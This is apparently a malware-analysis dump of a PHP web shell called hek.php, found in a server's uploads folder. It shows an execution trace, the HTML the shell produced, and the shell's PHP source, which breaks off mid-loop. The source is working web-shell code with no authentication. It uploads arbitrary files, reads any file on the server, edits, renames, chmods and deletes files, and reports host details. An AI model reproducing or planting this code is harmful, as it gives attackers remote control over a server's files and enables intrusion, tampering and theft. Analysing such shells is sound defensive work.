2	7	1	0.000647	451552
2	7	R			'127.0.0.1'
2	8	0	0.000663	451568	php_uname	0		/var/www/html/uploads/hek.php	77	0
2	8	1	0.000677	451680
2	8	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	9	0	0.000697	451248	getcwd	0		/var/www/html/uploads/hek.php	85	0
2	9	1	0.000711	451296
2	9	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/hek.php	85	$path = '/var/www/html/uploads'
2	10	0	0.000738	451296	str_replace	0		/var/www/html/uploads/hek.php	87	3	'\\'	'/'	'/var/www/html/uploads'
2	10	1	0.000754	451392
2	10	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/hek.php	87	$path = '/var/www/html/uploads'
2	11	0	0.000779	451296	explode	0		/var/www/html/uploads/hek.php	88	2	'/'	'/var/www/html/uploads'
2	11	1	0.000794	451872
2	11	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/hek.php	88	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/hek.php	90	$id = 0
1		A						/var/www/html/uploads/hek.php	92	$a = TRUE
1		A						/var/www/html/uploads/hek.php	90	$id = 1
1		A						/var/www/html/uploads/hek.php	98	$i = 0
1		A						/var/www/html/uploads/hek.php	98	$i++
1		A						/var/www/html/uploads/hek.php	98	$i++
1		A						/var/www/html/uploads/hek.php	90	$id = 2
1		A						/var/www/html/uploads/hek.php	98	$i = 0
1		A						/var/www/html/uploads/hek.php	98	$i++
1		A						/var/www/html/uploads/hek.php	98	$i++
1		A						/var/www/html/uploads/hek.php	98	$i++
1		A						/var/www/html/uploads/hek.php	90	$id = 3
1		A						/var/www/html/uploads/hek.php	98	$i = 0
1		A						/var/www/html/uploads/hek.php	98	$i++
1		A						/var/www/html/uploads/hek.php	98	$i++
1		A						/var/www/html/uploads/hek.php	98	$i++
1		A						/var/www/html/uploads/hek.php	98	$i++
1		A						/var/www/html/uploads/hek.php	90	$id = 4
1		A						/var/www/html/uploads/hek.php	98	$i = 0
1		A						/var/www/html/uploads/hek.php	98	$i++
1		A						/var/www/html/uploads/hek.php	98	$i++
1		A						/var/www/html/uploads/hek.php	98	$i++
1		A						/var/www/html/uploads/hek.php	98	$i++
1		A						/var/www/html/uploads/hek.php	98	$i++
2	12	0	0.001034	451800	scandir	0		/var/www/html/uploads/hek.php	218	1	'/var/www/html/uploads'
2	12	1	0.001065	452416
2	12	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'hek.php', 5 => 'prepend.php']
1		A						/var/www/html/uploads/hek.php	218	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'hek.php', 5 => 'prepend.php']
2	13	0	0.001102	452384	getcwd	0		/var/www/html/uploads/hek.php	219	0
2	13	1	0.001115	452432
2	13	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/hek.php	219	$pa = '/var/www/html/uploads'
2	14	0	0.001140	452480	is_dir	0		/var/www/html/uploads/hek.php	230	1	'/var/www/html/uploads/.'
2	14	1	0.001156	452544
2	14	R			TRUE
2	15	0	0.001170	452512	is_dir	0		/var/www/html/uploads/hek.php	230	1	'/var/www/html/uploads/..'
2	15	1	0.001185	452560
2	15	R			TRUE
2	16	0	0.001198	452520	is_dir	0		/var/www/html/uploads/hek.php	230	1	'/var/www/html/uploads/.htaccess'
2	16	1	0.001213	452560
2	16	R			FALSE
2	17	0	0.001227	452520	is_dir	0		/var/www/html/uploads/hek.php	230	1	'/var/www/html/uploads/data'
2	17	1	0.001241	452560
2	17	R			TRUE
2	18	0	0.001255	452520	is_writable	0		/var/www/html/uploads/hek.php	235	1	'/var/www/html/uploads/data'
2	18	1	0.001272	452560
2	18	R			TRUE
2	19	0	0.001286	452520	perms	1		/var/www/html/uploads/hek.php	237	1	'/var/www/html/uploads/data'
3	20	0	0.001299	452520	fileperms	0		/var/www/html/uploads/hek.php	298	1	'/var/www/html/uploads/data'
3	20	1	0.001318	452560
3	20	R			16895
2		A						/var/www/html/uploads/hek.php	298	$perms = 16895
2		A						/var/www/html/uploads/hek.php	314	$info = 'd'
2		A						/var/www/html/uploads/hek.php	327	$info .= 'r'
2		A						/var/www/html/uploads/hek.php	328	$info .= 'w'
2		A						/var/www/html/uploads/hek.php	331	$info .= 'x'
2		A						/var/www/html/uploads/hek.php	334	$info .= 'r'
2		A						/var/www/html/uploads/hek.php	335	$info .= 'w'
2		A						/var/www/html/uploads/hek.php	338	$info .= 'x'
2		A						/var/www/html/uploads/hek.php	341	$info .= 'r'
2		A						/var/www/html/uploads/hek.php	342	$info .= 'w'
2		A						/var/www/html/uploads/hek.php	345	$info .= 'x'
2	19	1	0.001441	452560
2	19	R			'drwxrwxrwx'
2	21	0	0.001455	452520	is_writable	0		/var/www/html/uploads/hek.php	238	1	'/var/www/html/uploads/data'
2	21	1	0.001470	452560
2	21	R			TRUE
2	22	0	0.001485	452520	is_dir	0		/var/www/html/uploads/hek.php	230	1	'/var/www/html/uploads/hek.php'
2	22	1	0.001499	452560
2	22	R			FALSE
2	23	0	0.001512	452528	is_dir	0		/var/www/html/uploads/hek.php	230	1	'/var/www/html/uploads/prepend.php'
2	23	1	0.001528	452576
2	23	R			FALSE
2	24	0	0.001542	452520	is_file	0		/var/www/html/uploads/hek.php	258	1	'/var/www/html/uploads/.'
2	24	1	0.001556	452544
2	24	R			FALSE
2	25	0	0.001569	452512	is_file	0		/var/www/html/uploads/hek.php	258	1	'/var/www/html/uploads/..'
2	25	1	0.001583	452560
2	25	R			FALSE
2	26	0	0.001596	452520	is_file	0		/var/www/html/uploads/hek.php	258	1	'/var/www/html/uploads/.htaccess'
2	26	1	0.001610	452560
2	26	R			TRUE
2	27	0	0.001623	452520	filesize	0		/var/www/html/uploads/hek.php	259	1	'/var/www/html/uploads/.htaccess'
2	27	1	0.001635	452560
2	27	R			64
1		A						/var/www/html/uploads/hek.php	259	$size = 0.0625
2	28	0	0.001659	452464	round	0		/var/www/html/uploads/hek.php	260	2	0.0625	3
2	28	1	0.001673	452536
2	28	R			0.063
1		A						/var/www/html/uploads/hek.php	260	$size = 0.063
1		A						/var/www/html/uploads/hek.php	264	$size = '0.063 KB'
2	29	0	0.001714	452672	is_writable	0		/var/www/html/uploads/hek.php	271	1	'/var/www/html/uploads/.htaccess'
2	29	1	0.001730	452712
2	29	R			FALSE
2	30	0	0.001743	452672	is_readable	0		/var/www/html/uploads/hek.php	272	1	'/var/www/html/uploads/.htaccess'
2	30	1	0.001759	452712
2	30	R			TRUE
2	31	0	0.001772	452672	perms	1		/var/www/html/uploads/hek.php	273	1	'/var/www/html/uploads/.htaccess'
3	32	0	0.001785	452672	fileperms	0		/var/www/html/uploads/hek.php	298	1	'/var/www/html/uploads/.htaccess'
3	32	1	0.001798	452712
3	32	R			33188
2		A						/var/www/html/uploads/hek.php	298	$perms = 33188
2		A						/var/www/html/uploads/hek.php	308	$info = '-'
2		A						/var/www/html/uploads/hek.php	327	$info .= 'r'
2		A						/var/www/html/uploads/hek.php	328	$info .= 'w'
2		A						/var/www/html/uploads/hek.php	331	$info .= '-'
2		A						/var/www/html/uploads/hek.php	334	$info .= 'r'
2		A						/var/www/html/uploads/hek.php	335	$info .= '-'
2		A						/var/www/html/uploads/hek.php	338	$info .= '-'
2		A						/var/www/html/uploads/hek.php	341	$info .= 'r'
2		A						/var/www/html/uploads/hek.php	342	$info .= '-'
2		A						/var/www/html/uploads/hek.php	345	$info .= '-'
2	31	1	0.001928	452712
2	31	R			'-rw-r--r--'
2	33	0	0.001942	452672	is_writable	0		/var/www/html/uploads/hek.php	274	1	'/var/www/html/uploads/.htaccess'
2	33	1	0.001957	452712
2	33	R			FALSE
2	34	0	0.001971	452672	is_readable	0		/var/www/html/uploads/hek.php	274	1	'/var/www/html/uploads/.htaccess'
2	34	1	0.001985	452712
2	34	R			TRUE
2	35	0	0.002000	452672	is_file	0		/var/www/html/uploads/hek.php	258	1	'/var/www/html/uploads/data'
2	35	1	0.002014	452712
2	35	R			FALSE
2	36	0	0.002027	452672	is_file	0		/var/www/html/uploads/hek.php	258	1	'/var/www/html/uploads/hek.php'
2	36	1	0.002041	452712
2	36	R			TRUE
2	37	0	0.002054	452672	filesize	0		/var/www/html/uploads/hek.php	259	1	'/var/www/html/uploads/hek.php'
2	37	1	0.002066	452712
2	37	R			12369
1		A						/var/www/html/uploads/hek.php	259	$size = 12.0791015625
2	38	0	0.002089	452576	round	0		/var/www/html/uploads/hek.php	260	2	12.0791015625	3
2	38	1	0.002103	452648
2	38	R			12.079
1		A						/var/www/html/uploads/hek.php	260	$size = 12.079
1		A						/var/www/html/uploads/hek.php	264	$size = '12.079 KB'
2	39	0	0.002144	452672	is_writable	0		/var/www/html/uploads/hek.php	271	1	'/var/www/html/uploads/hek.php'
2	39	1	0.002160	452712
2	39	R			FALSE
2	40	0	0.002173	452672	is_readable	0		/var/www/html/uploads/hek.php	272	1	'/var/www/html/uploads/hek.php'
2	40	1	0.002187	452712
2	40	R			TRUE
2	41	0	0.002201	452672	perms	1		/var/www/html/uploads/hek.php	273	1	'/var/www/html/uploads/hek.php'
3	42	0	0.002213	452672	fileperms	0		/var/www/html/uploads/hek.php	298	1	'/var/www/html/uploads/hek.php'
3	42	1	0.002226	452712
3	42	R			33204
2		A						/var/www/html/uploads/hek.php	298	$perms = 33204
2		A						/var/www/html/uploads/hek.php	308	$info = '-'
2		A						/var/www/html/uploads/hek.php	327	$info .= 'r'
2		A						/var/www/html/uploads/hek.php	328	$info .= 'w'
2		A						/var/www/html/uploads/hek.php	331	$info .= '-'
2		A						/var/www/html/uploads/hek.php	334	$info .= 'r'
2		A						/var/www/html/uploads/hek.php	335	$info .= 'w'
2		A						/var/www/html/uploads/hek.php	338	$info .= '-'
2		A						/var/www/html/uploads/hek.php	341	$info .= 'r'
2		A						/var/www/html/uploads/hek.php	342	$info .= '-'
2		A						/var/www/html/uploads/hek.php	345	$info .= '-'
2	41	1	0.002347	452712
2	41	R			'-rw-rw-r--'
2	43	0	0.002361	452672	is_writable	0		/var/www/html/uploads/hek.php	274	1	'/var/www/html/uploads/hek.php'
2	43	1	0.002376	452712
2	43	R			FALSE
2	44	0	0.002389	452672	is_readable	0		/var/www/html/uploads/hek.php	274	1	'/var/www/html/uploads/hek.php'
2	44	1	0.002403	452712
2	44	R			TRUE
2	45	0	0.002417	452680	is_file	0		/var/www/html/uploads/hek.php	258	1	'/var/www/html/uploads/prepend.php'
2	45	1	0.002432	452728
2	45	R			TRUE
2	46	0	0.002445	452688	filesize	0		/var/www/html/uploads/hek.php	259	1	'/var/www/html/uploads/prepend.php'
2	46	1	0.002459	452728
2	46	R			57
1		A						/var/www/html/uploads/hek.php	259	$size = 0.0556640625
2	47	0	0.002483	452584	round	0		/var/www/html/uploads/hek.php	260	2	0.0556640625	3
2	47	1	0.002496	452656
2	47	R			0.056
1		A						/var/www/html/uploads/hek.php	260	$size = 0.056
1		A						/var/www/html/uploads/hek.php	264	$size = '0.056 KB'
2	48	0	0.002531	452688	is_writable	0		/var/www/html/uploads/hek.php	271	1	'/var/www/html/uploads/prepend.php'
2	48	1	0.002547	452728
2	48	R			FALSE
2	49	0	0.002560	452688	is_readable	0		/var/www/html/uploads/hek.php	272	1	'/var/www/html/uploads/prepend.php'
2	49	1	0.002575	452728
2	49	R			TRUE
2	50	0	0.002588	452688	perms	1		/var/www/html/uploads/hek.php	273	1	'/var/www/html/uploads/prepend.php'
3	51	0	0.002601	452688	fileperms	0		/var/www/html/uploads/hek.php	298	1	'/var/www/html/uploads/prepend.php'
3	51	1	0.002615	452728
3	51	R			33261
2		A						/var/www/html/uploads/hek.php	298	$perms = 33261
2		A						/var/www/html/uploads/hek.php	308	$info = '-'
2		A						/var/www/html/uploads/hek.php	327	$info .= 'r'
2		A						/var/www/html/uploads/hek.php	328	$info .= 'w'
2		A						/var/www/html/uploads/hek.php	331	$info .= 'x'
2		A						/var/www/html/uploads/hek.php	334	$info .= 'r'
2		A						/var/www/html/uploads/hek.php	335	$info .= '-'
2		A						/var/www/html/uploads/hek.php	338	$info .= 'x'
2		A						/var/www/html/uploads/hek.php	341	$info .= 'r'
2		A						/var/www/html/uploads/hek.php	342	$info .= '-'
2		A						/var/www/html/uploads/hek.php	345	$info .= 'x'
2	50	1	0.002734	452728
2	50	R			'-rwxr-xr-x'
2	52	0	0.002839	452688	is_writable	0		/var/www/html/uploads/hek.php	274	1	'/var/www/html/uploads/prepend.php'
2	52	1	0.002857	452728
2	52	R			FALSE
2	53	0	0.002871	452688	is_readable	0		/var/www/html/uploads/hek.php	274	1	'/var/www/html/uploads/prepend.php'
2	53	1	0.002886	452728
2	53	R			TRUE
1	3	1	0.002902	452624
			0.002935	326856
TRACE END   [2023-02-12 23:42:49.282966]


Generated HTML code

<html><head><link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
</head><body><center>
<style type="text/css">
body {
	font-family: Kelly Slab;
	background-color: black;
	color: lime;
	}
#content tr:hover{
	background-color: grey;
	text-shadow:0px 0px 10px #000000;
	}
#content .first{
	color: #000000;
	background-image:url(#);
	}
#content .first:hover{
	background-color: grey;
	text-shadow:0px 0px 1px #339900;
	}
table, th, td {
		border-collapse:collapse;
		padding: 5px;
		color: lime;
		}
.table_home, .th_home, .td_home { 
		color: lime;
		border: 2px solid grey;
		padding: 7px;
		}
a{
	font-size: 19px;
	color: #00ff00;
	text-decoration: none;
	}
a:hover{
	color: white;
	text-shadow:0px 0px 10px #339900;
	}
input,select,textarea{
	border: 1px #ffffff solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
	}
.close {
	overflow: auto;
	border: 1px solid lime;
	background: lime;
	color: white;
	}
.r {
	float: right;
	text-align: right;
	}
</style>



<table width="95%" border="0" cellpadding="0" cellspacing="0" align="left">
<tbody><tr><td></td></tr><tr><td><font color="white">
<i class="fa fa-user"></i> </font></td><td>: <font color="lime">::1</font></td></tr><tr><td><font color="white">
<i class="fa fa-desktop"></i> </font></td><td>: <font color="lime">127.0.0.1 / localhost</font></td></tr><tr><td><font color="white">
<i class="fa fa-hdd-o"></i> </font></td><td>: <font color="lime">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</font></td></tr></tbody></table><table width="95%" border="0" cellpadding="0" cellspacing="0" align="center">
<tbody><tr align="center"><td align="center"><br><i class="fa fa-folder-o"></i> : <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/<br><br><br><font color="lime"></font><form enctype="multipart/form-data" method="POST"><font color="lime">
Upload File: <input type="file" name="file" style="color:lime;border:2px solid lime;" required=""></font>
<input type="submit" value="UPLOAD" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px"></form></td></tr></tbody></table><br><center></center><div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<th><center>Name</center></th>
<th><center>Size</center></th>
<th><center>Perm</center></th>
<th><center>Options</center></th>
</tr>
<tr></tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td class="td_home"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII="><a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html"> beneri.se_malware_analysis</a></td>
<td class="td_home"><center>0 KB</center></td>
<td class="td_home"><center>-rw-r--r--</center></td>
<td class="td_home"><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt" style="margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px">
<option value="Action">Action</option>
<option value="delete">Delete</option>
<option value="edit">Edit</option>
<option value="rename">Rename</option>
<option value="chmod">Chmod</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" value=">" style="margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px">
</form></center></td>
</tr><tr>
<td class="td_home"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII="><a href="?filesrc=/var/www/html/hek.php&amp;path=/var/www/html"> hek.php</a></td>
<td class="td_home"><center>12.079 KB</center></td>
<td class="td_home"><center>-rw-rw-r--</center></td>
<td class="td_home"><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt" style="margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px">
<option value="Action">Action</option>
<option value="delete">Delete</option>
<option value="edit">Edit</option>
<option value="rename">Rename</option>
<option value="chmod">Chmod</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="hek.php">
<input type="hidden" name="path" value="/var/www/html/hek.php">
<input type="submit" value=">" style="margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px">
</form></center></td>
</tr></tbody></table>
</div>
</center></body></html>

Original PHP code

 <?php
error_reporting(0); 
session_start();

if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}

echo '<!DOCTYPE HTML>
<link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>
<center>
<style type="text/css">
body {
	font-family: Kelly Slab;
	background-color: black;
	color: lime;
	}
#content tr:hover{
	background-color: grey;
	text-shadow:0px 0px 10px #000000;
	}
#content .first{
	color: #000000;
	background-image:url(#);
	}
#content .first:hover{
	background-color: grey;
	text-shadow:0px 0px 1px #339900;
	}
table, th, td {
		border-collapse:collapse;
		padding: 5px;
		color: lime;
		}
.table_home, .th_home, .td_home { 
		color: lime;
		border: 2px solid grey;
		padding: 7px;
		}
a{
	font-size: 19px;
	color: #00ff00;
	text-decoration: none;
	}
a:hover{
	color: white;
	text-shadow:0px 0px 10px #339900;
	}
input,select,textarea{
	border: 1px #ffffff solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
	}
.close {
	overflow: auto;
	border: 1px solid lime;
	background: lime;
	color: white;
	}
.r {
	float: right;
	text-align: right;
	}
</style>

<BODY>

<table width="95%" border="0" cellpadding="0" cellspacing="0" align="left">
<tr><td>';
echo "<tr><td><font color='white'>
<i class='fa fa-user'></i> <td>: <font color='lime'>".$_SERVER['REMOTE_ADDR']."<tr><td><font color='white'>
<i class='fa fa-desktop'></i> <td>: <font color='lime'>".gethostbyname($_SERVER['HTTP_HOST'])." / ".$_SERVER['SERVER_NAME']."<tr><td><font color='white'>
<i class='fa fa-hdd-o'></i> <td>: <font color='lime'>".php_uname()."</font></tr></td></table>";

echo '<table width="95%" border="0" cellpadding="0" cellspacing="0" align="center">
<tr align="center"><td align="center"><br>';

if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<i class="fa fa-folder-o"></i> : <a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}


//upload
echo '<br><br><br><font color="lime"><form enctype="multipart/form-data" method="POST">
Upload File: <input type="file" name="file" style="color:lime;border:2px solid lime;" required/></font>
<input type="submit" value="UPLOAD" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px"/>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<br><br><font color="lime">UPLOAD SUCCES !!!!</font><br/>';
}else{
echo '<script>alert("File Gagal Diupload !!")</script>';
}
}

echo '</form></td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>files >> ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo(' <textarea  style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1200px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';

//Chmod
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<br><br><font color="lime">CHANGE PERMISSION SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Change Permission Gagal !!")</script>';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" style="width:80px; height: 30px;"/>
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Lanjut" style="width:60px; height: 30px;"/>
</form>';
}

//rename folder
elseif($_GET['opt'] == 'btw'){
	$cwd = getcwd();
	 echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
New Name : <input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
<input type="hidden" name="path" value="'.$cwd.'">
<input type="hidden" name="opt" value="delete">
<input type="submit" value="Go" style="width:100px; height: 30px;"/>
</form>';
}

//rename file
elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<br><br><font color="lime">CHANGE NAME SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Change Name Gagal !!")</script>';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Lanjut" style="height:30px;" />
</form>';
}

//edit file
elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<br><br><font color="lime">EDIT FILE SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Edit File Gagal !!")</script>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1000px;">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Lanjut" style="height:30px; width:70px;"/>
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';

//delete dir
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<br><br><font color="lime">DELETE DIR SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Delete Dir Gagal !!")</script>>';
}
}

//delete file
elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<br><br><font color="lime">DELETE FILE SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Delete File Gagal !!")</script>';
}
}
}

?>
<?php
echo '</center>';
$scandir = scandir($path);
$pa = getcwd();
echo '<div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<th><center>Name</center></th>
<th><center>Size</center></th>
<th><center>Perm</center></th>
<th><center>Options</center></th>
</tr>
<tr>';

foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td class=td_home><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='><a href=\"?path=$path/$dir\"> $dir</a></td>
<td class=td_home><center>DIR</center></td>
<td class=td_home><center>";
if(is_writable("$path/$dir")) echo '<font color="#57FF00">';
elseif(!is_readable("$path/$dir")) echo '<font color="#FF0004">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

echo "</center></td>
<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
<option value=\"Action\">Action</option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
</form></center></td>
</tr>";
}

echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo "<tr>
